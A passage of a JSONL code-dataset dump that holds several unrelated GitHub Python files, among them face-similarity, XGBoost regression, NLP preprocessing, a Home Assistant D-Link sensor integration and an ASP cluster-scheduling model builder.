해주어야 함.\n\n# 비슷한 문제 2667","repo_name":"MinkyungPark/algorithm-study-python","sub_path":"BfsDfs/baekjoon/1012.py","file_name":"1012.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"11972484803","text":"import numpy as np\nimport torch\nfrom facenet_pytorch import MTCNN, InceptionResnetV1\nfrom PIL import Image\n\nmodel = InceptionResnetV1(pretrained='vggface2', classify=True).eval().float()\nmtcnn = MTCNN(image_size=160)\n\ndef set_model(a = 0):\n global model\n if a == 0:\n model = InceptionResnetV1(pretrained='vggface2', classify=True).eval().float()\n else:\n model = InceptionResnetV1(pretrained='casia-webface', classify=True).eval().float()\n\n\ndef cosin_metric(x1, x2):\n return np.dot(x1, x2) / (np.linalg.norm(x1) * np.linalg.norm(x2))\n\n\ndef compare_images(img1, img2):\n \n img1_resized = (np.array(img1.resize((160, 160)))).astype(float)/255\n img2_resized = (np.array(img2.resize((160, 160)))).astype(float)/255\n\n img1_croped = torch.from_numpy(img1_resized)\n img2_croped = torch.from_numpy(img2_resized)\n\n # shape(3, x, y)\n # shape(x, y, 3)\n if img1_croped.shape[0] != 3:\n img1_croped = img1_croped.permute(2, 0, 1)\n if img2_croped.shape[0] != 3:\n img2_croped = img2_croped.permute(2, 0, 1)\n\n img1_croped = img1_croped.unsqueeze(0)\n img2_croped = img2_croped.unsqueeze(0)\n\n img1_probs = model(img1_croped.float()).detach().numpy()[0]\n img2_probs = model(img2_croped.float()).detach().numpy()[0]\n sim = cosin_metric(img1_probs, img2_probs)\n\n return sim\n\n\ndef test_compare(img1_path, img2_path):\n img1 = Image.open(img1_path)\n img2 = Image.open(img2_path)\n img1_croped = mtcnn(img1)\n img2_croped = mtcnn(img2)\n\n img1_probs = model(img1_croped.unsqueeze(0)).detach().numpy()[0]\n img2_probs = model(img2_croped.unsqueeze(0)).detach().numpy()[0]\n sim = cosin_metric(img1_probs, img2_probs)\n print(sim)\n return sim","repo_name":"Krutov777/face-recognition-dd","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1718,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"38935401126","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Apr 13 22:50:44 2021\n\n@author: weishi\n\"\"\"\nimport numpy as np\nimport os\n\nimport xgboost as xgb\nfrom sklearn.datasets import load_boston\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_score, KFold\nfrom sklearn.metrics import mean_squared_error\nimport matplotlib.pyplot as plt \n\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\n\nglide = 3\ndepth = 2\ncore = 20\nnum_elem = 5\n\ndef feature_scaling(composition):\n if composition.shape[1] != core*depth*glide:\n raise ValueError(\"shape of input data is not compatible with \\\n core*depth*glide\")\n \n scalers = {}\n for i in range(composition.shape[2]):\n scalers[i] = StandardScaler()\n composition[:, i, :] = scalers[i].fit_transform(composition[:, i, :]) \n \n return composition\n\ndef mirror(comp, sigma, axis):\n if axis == \"glide\":\n raise NotImplementedError()\n elif axis == \"core\":\n mirror_comp = np.flip(comp, axis=1)\n \n return np.concatenate((comp,mirror_comp), axis=0), \\\n np.concatenate((sigma, sigma))\n \ndef periodic_augmentation(comp, sigma):\n comp_aug = comp\n sigma_aug = sigma\n rolled_comp = comp\n for i in range(comp.shape[1]-1):\n rolled_comp = np.roll(rolled_comp, 1, axis=1)\n comp_aug = np.concatenate((comp_aug, rolled_comp),axis=0)\n sigma_aug = np.concatenate((sigma_aug, sigma),axis=0)\n \n return comp_aug.reshape(-1, core, glide, depth, num_elem).swapaxes(1,4), \\\n sigma_aug\n \ndef load_data(folder_path = \"./data\", scaling=True):\n PATH = folder_path\n comp = np.load(os.path.join(PATH, \"Composition.npy\"))\n sigma = np.load(os.path.join(PATH, \"CStress.npy\"))\n \n X_train, X_test, Y_train, Y_test = train_test_split(comp, sigma, \\\n test_size = 0.1)\n \n if scaling is True:\n X_train = feature_scaling(X_train)\n X_train = X_train.reshape(-1,core,glide*depth, num_elem)\n X_test = X_test.reshape(-1,core,glide, depth, num_elem).swapaxes(1,4)\n\n X_train, Y_train = mirror(X_train, Y_train, axis=\"core\")\n \n X_train, Y_train = periodic_augmentation(X_train, Y_train)\n \n return X_train.reshape(-1,num_elem*glide*depth*core), \\\n X_test.reshape(-1,num_elem*glide*depth*core), Y_train, Y_test\n\nX_train, X_test, Y_train, Y_test = load_data()\n\nxgbr = xgb.XGBRegressor(verbosity=0) \nxgbr.fit(X_train, Y_train)\n\nscore = xgbr.score(X_train, Y_train) \nprint(\"Training score: \", score)\n\nY_pred = xgbr.predict(X_test)\nmse = mean_squared_error(Y_test, Y_pred)\nprint(\"MSE: %.2f\" % mse)\n\nx_ax = range(len(Y_test))\nplt.plot(x_ax, Y_test, label=\"original\")\nplt.plot(x_ax, Y_pred, label=\"predicted\")\nplt.title(\"Critical stress prediction\")\nplt.legend()\nplt.show()","repo_name":"Jia-Yue/HEA","sub_path":"RFRegressor.py","file_name":"RFRegressor.py","file_ext":"py","file_size_in_byte":2922,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10381965730","text":"'''\n给定两个字符串形式的非负整数 num1 和num2 ,计算它们的和。\n\n注意:\n\nnum1 和num2 的长度都小于 5100.\nnum1 和num2 都只包含数字 0-9.\nnum1 和num2 都不包含任何前导零。\n你不能使用任何内建 BigInteger 库, 也不能直接将输入的字符串转换为整数形式。\n'''\n\n# 与#2两数相加同样的思路\n# 双指针\ndef addStrings(self, num1: str, num2: str) -> str:\n i = len(num1)-1\n j = len(num2)-1\n carry = 0\n res = ''\n while i >= 0 or j >= 0:\n v_i = int(num1[i]) if i >= 0 else 0\n v_j = int(num2[j]) if j >= 0 else 0\n sum_value = v_i + v_j + carry\n carry = sum_value // 10\n res = str(sum_value%10) + res\n i -= 1\n j -= 1\n \n if carry>0:\n res = '1' + res\n\n return res","repo_name":"AllenGFLiu/leetcode","sub_path":"#415-字符串相加.py","file_name":"#415-字符串相加.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"4886002433","text":"from torch.nn import functional as F\n\nfrom fsdet.structures import Instances\n\n\ndef detector_postprocess(results, output_height, output_width):\n \"\"\"\n Resize the output instances.\n The input images are often resized when entering an object detector.\n As a result, we often need the outputs of the detector in a different\n resolution from its inputs.\n\n This function will resize the raw outputs of an R-CNN detector\n to produce outputs according to the desired output resolution.\n\n Args:\n results (Instances): the raw outputs from the detector.\n `results.image_size` contains the input image resolution the detector sees.\n This object might be modified in-place.\n output_height, output_width: the desired output resolution.\n\n Returns:\n Instances: the resized output from the model, based on the output resolution\n \"\"\"\n scale_x, scale_y = (output_width / results.image_size[1], output_height / results.image_size[0])\n results = Instances((output_height, output_width), **results.get_fields())\n\n if results.has(\"pred_boxes\"):\n output_boxes = results.pred_boxes\n elif results.has(\"proposal_boxes\"):\n output_boxes = results.proposal_boxes\n\n output_boxes.scale(scale_x, scale_y)\n output_boxes.clip(results.image_size)\n\n results = results[output_boxes.nonempty()]\n\n return results\n","repo_name":"megvii-research/FSCE","sub_path":"fsdet/modeling/postprocessing.py","file_name":"postprocessing.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":265,"dataset":"github-code","pt":"82"} +{"seq_id":"3774142129","text":"from unittest import TestCase\nfrom cases import test_cases\nimport decrypt\nimport boto3\n\ntest_context = {\"test\": \"test\"}\ntest_method = \"caesar\"\noutput_bucket = \"ist440grp2-decrypted\"\n\n\nclass TestCaesar(TestCase):\n \"\"\"\n Test cases for DecryptCaesar\n \"\"\"\n\n def test_lambda_handler(self):\n\n for test_case in test_cases:\n print(\"test case: \" + test_case[\"name\"])\n event = {\n \"bucket\": test_case[\"ocr_bucket\"],\n \"key\": test_case[\"ocr_key\"],\n \"sourceLanguage\": test_case[\"language\"]\n }\n\n # test the lambda function's output\n result = decrypt.lambda_handler(event, test_context)\n self.assertEqual(output_bucket, result[\"decryptedBucket\"])\n self.assertEqual(\"%s_%s_%s\" % (test_case[\"ocr_key\"], \"caesar\", test_case[\"language\"]), result[\"decryptedKey\"])\n self.assertEqual(test_method, result[\"method\"])\n self.assertTrue(result[\"confidence\"] >= 0)\n self.assertTrue(result[\"confidence\"] <= 1)\n\n # test the output written to s3\n s3 = boto3.resource(\"s3\")\n obj = s3.Object(result[\"decryptedBucket\"], result[\"decryptedKey\"])\n response = obj.get()\n data = response[\"Body\"].read()\n self.assertEqual(test_case[\"decrypted\"], data)\n\n # clean up\n s3.Object(result[\"decryptedBucket\"], result[\"decryptedKey\"]).delete()\n #\n # def test_get_text(self):\n # print(\"test_get_text\")\n # DecryptCaesar.get_text(\"ist440grp2ocr\", \"jen_zodiacTest1.txt\")\n #\n # def test_missingBucket(self):\n # print(\"test_missingBucket\")\n # input = {\n # \"key\": \"test\"\n # }\n # result = DecryptCaesar.lambda_handler(input, test_context)\n # self.assertEqual({'failed': 'true'}, result)\n #\n # def test_missing_file(self):\n # print(\"test_missing_file\")\n # input = {\n # \"bucket\": \"ist440grp2ocr\",\n # \"key\": \"nope\",\n # \"sourceLanguage\": \"en\"\n # }\n # result = DecryptCaesar.lambda_handler(input, test_context)\n # self.assertEqual({'failed': 'true'}, result)","repo_name":"ist440-team2/Decryption","sub_path":"tests/TestIntegration.py","file_name":"TestIntegration.py","file_ext":"py","file_size_in_byte":2204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"4653546081","text":"\"\"\"\ndoubling_ratio.py\n * The DoublingRatio class provides a client for measuring\n * the running time of a method using a doubling ratio test.\n\"\"\"\nimport random as r\nfrom fundamentals.stopwatch import StopWatch\nfrom fundamentals.three_sum import ThreeSum\n\n\nclass DoublingRatio:\n MAXIMUM_INTEGER = 1000000\n\n @staticmethod\n def time_trial(n):\n a = [r.uniform(-DoublingRatio.MAXIMUM_INTEGER, DoublingRatio.MAXIMUM_INTEGER)\n for _ in range(n)]\n timer = StopWatch()\n ThreeSum.count(a)\n return timer.elapsed_time()\n\n\ndef main():\n prev = DoublingRatio.time_trial(125)\n n = 250\n while True:\n time = DoublingRatio.time_trial(n)\n print(f'{n} {time} {time/prev if prev != 0 else prev}')\n prev = time\n n += n\n\n\nif __name__ == '__main__':\n main()","repo_name":"vporta/DataStructures","sub_path":"fundamentals/doubling_ratio.py","file_name":"doubling_ratio.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"21227639537","text":"from matplotlib import axes\nfrom nltk.util import filestring\nfrom numpy.core.defchararray import index\nfrom numpy.matrixlib.defmatrix import asmatrix\nimport pandas as pd\nimport numpy as np\nimport re\nimport os\nimport nltk\nimport json\n\nfrom math import log\nfrom tqdm import tqdm\nfrom nltk import pos_tag\nfrom nltk.corpus import stopwords\nfrom nltk.tokenize import word_tokenize, sent_tokenize\nfrom nltk.stem.wordnet import WordNetLemmatizer\nfrom nltk.stem.snowball import SnowballStemmer\nfrom itertools import combinations, chain\nfrom collections import Counter\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nlist_all = ['NN', 'NNS', 'NNP', 'NNPS', 'VB', 'VBG', 'VBD', 'VBN', 'VBP', 'VBZ', 'JJ', 'JJR', 'JJS']\ndict_pos2num = {'n': 1, 'v': 2, 'j': 3}\ndict_num2pos = {1: 'n', 2: 'v', 3: 'a'}\nnltk.download('stopwords')\nlist_stopword = stopwords.words('english')\n \n\ndef dav_text_preprocess(text:str, dict_contraction:dict = None):\n if dict_contraction == None:\n dict_contraction = {\n \"ain't\": \"are not\", \"'s\":\" is\", \"aren't\": \"are not\", \"can't\": \"cannot\", \n \"can't've\": \"cannot have\", \"'cause\": \"because\", \"could've\": \"could have\", \n \"couldn't\": \"could not\", \"couldn't've\": \"could not have\", \"didn't\": \"did not\", \n \"doesn't\": \"does not\", \"don't\": \"do not\", \"hadn't\": \"had not\", \"hadn't've\": \"had not have\", \n \"hasn't\": \"has not\", \"haven't\": \"have not\", \"he'd\": \"he would\", \"he'd've\": \"he would have\", \n \"he'll\": \"he will\", \"he'll've\": \"he will have\", \"how'd\": \"how did\", \"how'd'y\": \"how do you\", \n \"how'll\": \"how will\", \"I'd\": \"I would\", \"I'd've\": \"I would have\", \"I'll\": \"I will\", \n \"I'll've\": \"I will have\", \"I'm\": \"I am\", \"I've\": \"I have\", \"isn't\": \"is not\", \"it'd\": \"it would\", \n \"it'd've\": \"it would have\", \"it'll\": \"it will\", \"it'll've\": \"it will have\", \"let's\": \"let us\", \n \"ma'am\": \"madam\", \"mayn't\": \"may not\", \"might've\": \"might have\", \"mightn't\": \"might not\", \n \"mightn't've\": \"might not have\", \"must've\": \"must have\", \"mustn't\": \"must not\", \n \"mustn't've\": \"must not have\", \"needn't\": \"need not\", \"needn't've\": \"need not have\", \n \"o'clock\": \"of the clock\", \"oughtn't\": \"ought not\", \"oughtn't've\": \"ought not have\", \n \"shan't\": \"shall not\", \"sha'n't\": \"shall not\", \"shan't've\": \"shall not have\", \"she'd\": \"she would\", \n \"she'd've\": \"she would have\", \"she'll\": \"she will\", \"she'll've\": \"she will have\", \n \"should've\": \"should have\", \"shouldn't\": \"should not\", \"shouldn't've\": \"should not have\", \n \"so've\": \"so have\", \"that'd\": \"that would\", \"that'd've\": \"that would have\", \"there'd\": \"there would\", \n \"there'd've\": \"there would have\", \"they'd\": \"they would\", \"they'd've\": \"they would have\",\n \"they'll\": \"they will\", \"they'll've\": \"they will have\", \"they're\": \"they are\", \"they've\": \"they have\", \n \"to've\": \"to have\", \"wasn't\": \"was not\", \"we'd\": \"we would\", \"we'd've\": \"we would have\", \n \"we'll\": \"we will\", \"we'll've\": \"we will have\", \"we're\": \"we are\", \"we've\": \"we have\", \n \"weren't\": \"were not\",\"what'll\": \"what will\", \"what'll've\": \"what will have\", \"what're\": \"what are\", \n \"what've\": \"what have\", \"when've\": \"when have\", \"where'd\": \"where did\", \"where've\": \"where have\", \n \"who'll\": \"who will\", \"who'll've\": \"who will have\", \"who've\": \"who have\", \"why've\": \"why have\", \n \"will've\": \"will have\", \"won't\": \"will not\", \"won't've\": \"will not have\", \"would've\": \"would have\", \n \"wouldn't\": \"would not\", \"wouldn't've\": \"would not have\", \"y'all\": \"you all\", \"y'all'd\": \"you all would\", \n \"y'all'd've\": \"you all would have\", \"y'all're\": \"you all are\", \"y'all've\": \"you all have\", \n \"you'd\": \"you would\", \"you'd've\": \"you would have\", \"you'll\": \"you will\", \"you'll've\": \"you will have\", \n \"you're\": \"you are\", \"you've\": \"you have\"\n }\n\n # 2021-11-18 jh park: first change npcs to a spacing, and then change spacings to a spacing.\n text = re.sub('\\s', ' ', text)\n text = re.sub(' +', ' ', text)\n \n # 2021-11-18 jh park: fix chansong's code.\n for key, value in dict_contraction.items():\n text = re.sub(key, value, text)\n \n text = text.lower()\n \n # 2021-11-18 jh park: change end-marks to period mark and remove quote marks.\n text = re.sub('[:;?!]', '.', text)\n text = re.sub('\"', '', text)\n \n # 2021-11-25 cs lim: change i to I\n text = re.sub('(?<= )i(?= |\\.)', 'I', text)\n\n return text\n\ndef merge_duplicate(data:pd.DataFrame) -> pd.DataFrame:\n keys_tf = {}\n columns = data.columns.tolist()\n \n for element in data.values:\n keys = tuple(element[:-1])\n if keys in keys_tf:\n keys_tf[keys] += element[-1]\n else: \n keys_tf[keys] = element[-1]\n \n data = []\n \n for keys, tf in keys_tf.items():\n row = [keys[i] for i in range(len(keys))]\n row.append(tf)\n data.append(row)\n \n data = pd.DataFrame(data, columns=columns) \n \n return data\n\n\ndef dav_data_transform(input_path:str, save_path:str) -> None: \n \n data = pd.read_csv(input_path)\n\n data['episode'] = data['episode'].apply(lambda x: dav_text_preprocess(x))\n data['episode'] = data['episode'].apply(sent_tokenize)\n data['episode'] = data['episode'].apply(\n lambda list_sent: [word_tokenize(sent) for sent in list_sent]\n )\n data['episode'] = data['episode'].apply(\n lambda list_sent: [pos_tag(list_token) for list_token in list_sent]\n )\n data['episode'] = data['episode'].apply(\n lambda list_sent: [\n [\n (token[0], dict_pos2num[token[1][0].lower()])\n for token in list_token if token[1] in list_all\n ] \n for list_token in list_sent\n ]\n )\n data['episode'] = data['episode'].apply(\n lambda list_sent: [\n [\n (WordNetLemmatizer().lemmatize(\n token[0], pos=dict_num2pos[token[1]]\n ), token[1]) for token in list_token\n ] for list_token in list_sent\n ]\n )\n # 2021-11-26 cs lim: remove stopword\n data['episode'] = data['episode'].apply(lambda list_sent: [list(filter(lambda token: token[0] not in list_stopword, list_token)) for list_token in list_sent])\n\n # 2021-11-25 cs lim: manually correct some wrong-lemmatized words\n dict_src2trg = {'saw': 'see', 'as': 'ass', 'fell': 'fall'}\n data['episode'] = data['episode'].apply(lambda list_sent: [[token if token[0] not in dict_src2trg else (dict_src2trg[token[0]], token[1]) for token in list_token ] for list_token in list_sent])\n data['episode'] = data['episode'].apply(lambda list_sent: [[('fell', 2) if token1[0] == 'fall' and token2[0] == 'tree' else token1 for token1, token2 in zip(list_token, list_token[1:] + [('EOS', 1)])] for list_token in list_sent])\n\n data_dict = {}\n for idx, title_id, title, doc in data.itertuples(): # 2021-11-25 cs lim: fixed IndexError\n column = ['doc_len', 'word', 'pos', 'episode_id', 'tf']\n sub_data = []\n for sent_id, sent in enumerate(doc):\n doc_len = len(doc)\n sent_len = len(sent)\n dummy = [\n sub_data.append([doc_len, sent[i][0], sent[i][1], sent_id+1, 1/sent_len])\n for i in range(sent_len)\n ]\n data_dict[title] = pd.DataFrame(sub_data, columns=column)\n \n data = []\n\n for key, value in data_dict.items():\n data_dict[key] = merge_duplicate(value)\n temp_data = data_dict[key]\n data_dict[key]['count'] = [\n temp_data['word'].tolist().count(episode) for episode in temp_data['word']\n ]\n data_dict[key]['idf'] = np.log(temp_data['doc_len']/temp_data['count'])\n data_dict[key]['tfidf'] = temp_data['tf'] * temp_data['idf']\n data_dict[key].drop(columns=['count'], inplace=True)\n dummy = [\n data.append([key, row[0], row[1], row[2], row[3], row[4], row[5], row[6]])\n for _, row in data_dict[key].iterrows()\n ]\n \n data = pd.DataFrame(\n data, columns=['title', 'doc_len', 'word', 'pos', 'sent_id', 'tf', 'idf', 'tf_idf']\n )\n\n data.to_csv(save_path, index=False)\n\n# 2021-11-25 cs lim: make N-node graph file\n# 2021-11-26 cs lim: edit function\ndef dav_make_graph_file(input_path: str, output_path: str, NUM_NODE: int, WEIGHT_THRES: int, BY: str) -> None:\n # open file\n df = pd.read_csv(input_path)\n\n # all nodes\n list_node_all = list(map(tuple, chain(df[['word', 'pos']].to_records(index=False))))\n cnt_node_all = Counter(list_node_all)\n df_node_all = pd.DataFrame(map(lambda x: x[0] + (x[1],), cnt_node_all.items()), columns=['word', 'pos', 'count'])\n \n # select N nodes\n df_node_selected = df_node_all.sort_values('count', ascending=False)[:NUM_NODE].reset_index(drop=True)\n df_node_selected.columns = ['name', 'group', 'count']\n \n # node list\n list_node_selected = df_node_selected[['name', 'group']].to_records(index=False).tolist()\n \n # edge list\n df_selected = df[df[['word', 'pos']].apply(lambda x: tuple(x) in list_node_selected, axis=1)].copy(deep=True)\n df_selected['node_id'] = df_selected.apply(lambda x: list_node_selected.index(tuple(x[['word', 'pos']])), axis=1)\n if BY == 'epi':\n list_edge_selected = list(map(lambda x: tuple(sorted(x)), chain.from_iterable(df_selected.groupby('title').apply(lambda x: list(combinations(set(x['node_id']), 2))))))\n elif BY == 'sent':\n list_edge_selected = list(map(lambda x: tuple(sorted(x)), chain.from_iterable(df_selected.groupby(['title', 'sent_id']).apply(lambda x: list(combinations(set(x['node_id']), 2))))))\n cnt_edge_selected = Counter(list_edge_selected)\n df_edge_selected = pd.DataFrame(map(lambda x: x[0] + (x[1],), cnt_edge_selected.items()), columns=['source', 'target', 'weight'])\n df_edge_selected = df_edge_selected[df_edge_selected['weight'] >= WEIGHT_THRES]\n\n with open(output_path, 'w') as f:\n json_graph = {'nodes': df_node_selected.to_dict(orient='records'), 'links': df_edge_selected.to_dict(orient='records')}\n json.dump(json_graph, f, indent=4)","repo_name":"dlacksthd94/DAV-project","sub_path":"backend/utils/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":10379,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"37923223988","text":"\"\"\"Support for D-Link motion sensors.\"\"\"\nimport asyncio\nimport logging\nfrom datetime import timedelta, datetime\n\nimport voluptuous as vol\n\nfrom homeassistant.components.binary_sensor import (\n BinarySensorEntity,\n PLATFORM_SCHEMA,\n DEVICE_CLASS_MOTION,\n DEVICE_CLASS_MOISTURE,\n)\nfrom homeassistant.const import (\n CONF_NAME,\n CONF_PASSWORD,\n CONF_USERNAME,\n CONF_HOST,\n CONF_TIMEOUT,\n CONF_TYPE,\n)\nimport homeassistant.helpers.config_validation as cv\nfrom homeassistant.helpers.aiohttp_client import async_get_clientsession\n\n_LOGGER = logging.getLogger(__name__)\n\nDEFAULT_NAME = \"D-Link Motion Sensor\"\nDEFAULT_USERNAME = \"Admin\"\nDEFAULT_TIMEOUT = 35\n\nSCAN_INTERVAL = timedelta(seconds=5)\n\nPLATFORM_SCHEMA = PLATFORM_SCHEMA.extend(\n {\n vol.Required(CONF_HOST): cv.string,\n vol.Required(CONF_PASSWORD): cv.string,\n vol.Required(CONF_TYPE): vol.In([\"motion\", \"water\"]),\n vol.Optional(CONF_USERNAME, default=DEFAULT_USERNAME): cv.string,\n vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string,\n vol.Optional(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.positive_int,\n }\n)\n\n\nasync def async_setup_platform(hass, config, async_add_devices, discovery_info=None):\n \"\"\"Set up the D-Link motion sensor.\"\"\"\n from .dlink import (\n HNAPClient,\n MotionSensor,\n WaterSensor,\n NanoSOAPClient,\n ACTION_BASE_URL,\n )\n\n soap = NanoSOAPClient(\n config.get(CONF_HOST),\n ACTION_BASE_URL,\n loop=hass.loop,\n session=async_get_clientsession(hass),\n )\n\n client = HNAPClient(\n soap, config.get(CONF_USERNAME), config.get(CONF_PASSWORD), loop=hass.loop\n )\n\n if config.get(CONF_TYPE) == \"motion\":\n sensor = DlinkMotionSensor(\n config.get(CONF_NAME), config.get(CONF_TIMEOUT), MotionSensor(client)\n )\n else:\n sensor = DlinkWaterSensor(config.get(CONF_NAME), WaterSensor(client))\n\n async_add_devices([sensor], update_before_add=True)\n\n\nclass DlinkBinarySensor(BinarySensorEntity):\n \"\"\"Representation of a D-Link binary sensor.\"\"\"\n\n def __init__(self, name, sensor, device_class):\n \"\"\"Initialize the D-Link motion binary sensor.\"\"\"\n self._name = name\n self._sensor = sensor\n self._device_class = device_class\n self._on = False\n\n @property\n def name(self):\n \"\"\"Return the name of the binary sensor.\"\"\"\n return self._name\n\n @property\n def is_on(self):\n \"\"\"Return true if the binary sensor is on.\"\"\"\n return self._on\n\n @property\n def device_class(self):\n \"\"\"Return the class of this sensor.\"\"\"\n return self._device_class\n\n\nclass DlinkMotionSensor(DlinkBinarySensor):\n \"\"\"Representation of a D-Link motion sensor.\"\"\"\n\n def __init__(self, name, timeout, sensor):\n \"\"\"Initialize the D-Link motion binary sensor.\"\"\"\n super().__init__(name, sensor, DEVICE_CLASS_MOTION)\n self._timeout = timeout\n\n async def async_update(self):\n \"\"\"Get the latest data and updates the states.\"\"\"\n try:\n last_trigger = await self._sensor.latest_trigger()\n except Exception:\n last_trigger = None\n _LOGGER.exception(\"failed to update motion sensor\")\n\n if not last_trigger:\n return\n\n has_timed_out = datetime.now() > last_trigger + timedelta(seconds=self._timeout)\n if has_timed_out:\n if self._on:\n self._on = False\n self.hass.async_add_job(self.async_update_ha_state(True))\n else:\n if not self._on:\n self._on = True\n self.hass.async_add_job(self.async_update_ha_state(True))\n\n\nclass DlinkWaterSensor(DlinkBinarySensor):\n \"\"\"Representation of a D-Link water sensor.\"\"\"\n\n def __init__(self, name, sensor):\n \"\"\"Initialize the D-Link motion binary sensor.\"\"\"\n super().__init__(name, sensor, DEVICE_CLASS_MOISTURE)\n\n async def async_update(self):\n \"\"\"Get the latest data and updates the states.\"\"\"\n try:\n water_detected = await self._sensor.water_detected()\n if self._on != water_detected:\n self._on = water_detected\n self.hass.async_add_job(self.async_update_ha_state(True))\n\n except Exception:\n last_trigger = None\n _LOGGER.exception(\"failed to update water sensor\")\n","repo_name":"postlund/dlink_hnap","sub_path":"custom_components/dlink_hnap/binary_sensor.py","file_name":"binary_sensor.py","file_ext":"py","file_size_in_byte":4437,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"82"} +{"seq_id":"14209488633","text":"import pickle\n# This is the script which builds a ASP model intended to be solved with clingo.\n# This program has been test on Ubuntu 18.04 and CentOS 7.\n# Using Clingo 5.3.0 installed via Conda\n# Parsing the output of this program will require clyngor-with-clingo which may be installed via pip.\n\nif __name__ == \"__main__\":\n \n input_file= open(\"GUI_functions/Cluster_details.bin\", \"rb\")\n # Loads the data structure for the machines in the cluster.\n all_macs= list(pickle.load(input_file))\n input_file.close()\n input_file= open(\"GUI_functions/Tasks_details.bin\", \"rb\")\n # Loads the data structure for the tasks of the cluster.\n all_jobs= list(pickle.load(input_file))\n input_file.close()\n\n asp_file = open(\"GUI_functions/asp.lp\", 'w')\n # The program asp.lp is made.\n \n asp_file.write(\"#include . \\n\")\n\n asp_file.write(\"#program base. \\n\") \n asp_file.write(\"% A dynamically generated program.\\n\")\n asp_file.write(\"% Made by build_asp.py using the data structures stored in Cluster_details.bin and Tasks_details.bin\\n\")\n asp_file.write(\"% Define the fluents of the program. \\n\")\n # this section writes a header to the asp.lp file.\n asp_file.write(\"status(-done).\\n\")\n asp_file.write(\"status(done).\\n\")\n asp_file.write(\"location(home).\\n\")\n asp_file.write(\"% location() describes the individual nodes/machines of a cluster. \\n\")\n asp_file.write(\"% home is the ECU master directory on one machine in a given cluster. \\n\")\n asp_file.write(\"% The machine which home is on is assumed to be directly connected to all other machines in the cluster. \\n\")\n # Comment section detailing location and home.\n for i in range(len(all_macs)):\n mac = all_macs[i][0]\n mac.replace(\" \", \"\")\n mac.lower()\n asp_file.write(\"location(\"+mac+\").\\n\")\n \n for i in range(len(all_macs)):\n # In the Cluster_details data structure there exists the detials pertaining to which machines are networked to other machines. \n # In this loop this data is used to build a model of the cluster's network in asp.lp.\n mac = all_macs[i][0]\n mac.replace(\" \", \"\")\n mac.lower()\n asp_file.write(\"connection(home, \"+mac+\").\\n\")\n # Here home is connected to all the machines in the cluster.\n for j in range(len(all_macs[i][2])):\n mac1 = all_macs[i][2][j]\n mac1.replace(\" \", \"\")\n mac1.lower()\n asp_file.write(\"connection(\"+mac+\", \"+mac1+\").\\n\")\n # Here the connection for each machine is modeled. \n \n # At this time ECU does not assume two way edge connection.\n # The graph representing the network of a cluster is thus a directed graph.\n # This is a core featur of ECU.\n asp_file.write(\"holds(F,0) :- init(F).\\n\")\n\n asp_file.write(\"#program step(t).\\n\")\n asp_file.write(\"{ move(X,Y,t) : task(X), location(Y)} :- holds(on(X,M),t-1), connection(M, Y).\\n\")\n asp_file.write(\"0{ turn(X,Y,t)}1 :- status(Y), task(X), holds(on(X,Z),t), valid_on(X, Z).\\n\")\n\n asp_file.write(\":- move(X,Y,t), holds(on(X,Y1),t-1), Y == home.\\n\")\n asp_file.write(\"% Programs can not be moved back into the home directory.\\n\")\n asp_file.write(\":- turn(X,Y,t), holds(at(X,done),t-1).\\n\")\n asp_file.write(\"% Programs can not be executed if they are already complete.\\n\")\n asp_file.write(\":- turn(X,Y,t), holds(on(X,M),t), depends_on(X, X1), not holds(on(X1,M),t).\\n\")\n # Comments detailing limits of move and turn.\n asp_file.write(\"moved(X,t) :- move(X,Y,t).\\n\")\n asp_file.write(\"% moved() indicated what task X was moved at turn t.\\n\")\n # Comment detailing moved()\n asp_file.write(\"turned(X,t) :- turn(X, Y, t).\\n\")\n asp_file.write(\"% turn() indicated what task X was executed at what turn t.\\n\")\n # Comment detailing turn()\n asp_file.write(\"turned_at(X, M, t) :- turned(X, t), holds(on(X,M),t).\\n\")\n asp_file.write(\"% turned_at() indicated what task X was executed at Machine M at what turn t.\\n\")\n # Comment detailing turned_at()\n\n asp_file.write(\"turned_with_2(M, X, X1, Z, t) :- turned(X,t), holds(on(X,M),t), thread_cost(X, C), turned(X1,t), holds(on(X1,M),t), thread_cost(X1, C1), X != X1, Z = C + C1.\\n\")\n asp_file.write(\"turned_with_3(M, X, X1, X2, Z, t) :- turned(X,t), holds(on(X,M),t), thread_cost(X, C), turned_with_2(M, X1, X2, C1, t), X != X1, X != X2, Z = C + C1.\\n\")\n asp_file.write(\"turned_with_4(M, X, X1, X2, X3, Z, t) :- turned(X,t), holds(on(X,M),t), thread_cost(X, C), turned_with_3(M, X1, X2, X3, C1, t), X != X1, X != X2, X != X3, Z = C + C1.\\n\")\n\n asp_file.write(\":- turned_with_2(M, X, X1, Z, t), machine_threads(M, C), Z > C.\\n\")\n asp_file.write(\":- turned_with_3(M, X, X1, X2, Z, t), machine_threads(M, C), Z > C.\\n\")\n asp_file.write(\":- turned_with_4(M, X, X1, X2, X3, Z, t), machine_threads(M, C), Z > C.\\n\")\n asp_file.write(\":- turned(X,t), holds(on(X,M),t), thread_cost(X, C), turned_with_4(M, X1, X2, X3, X4, C1, t), X != X1, X != 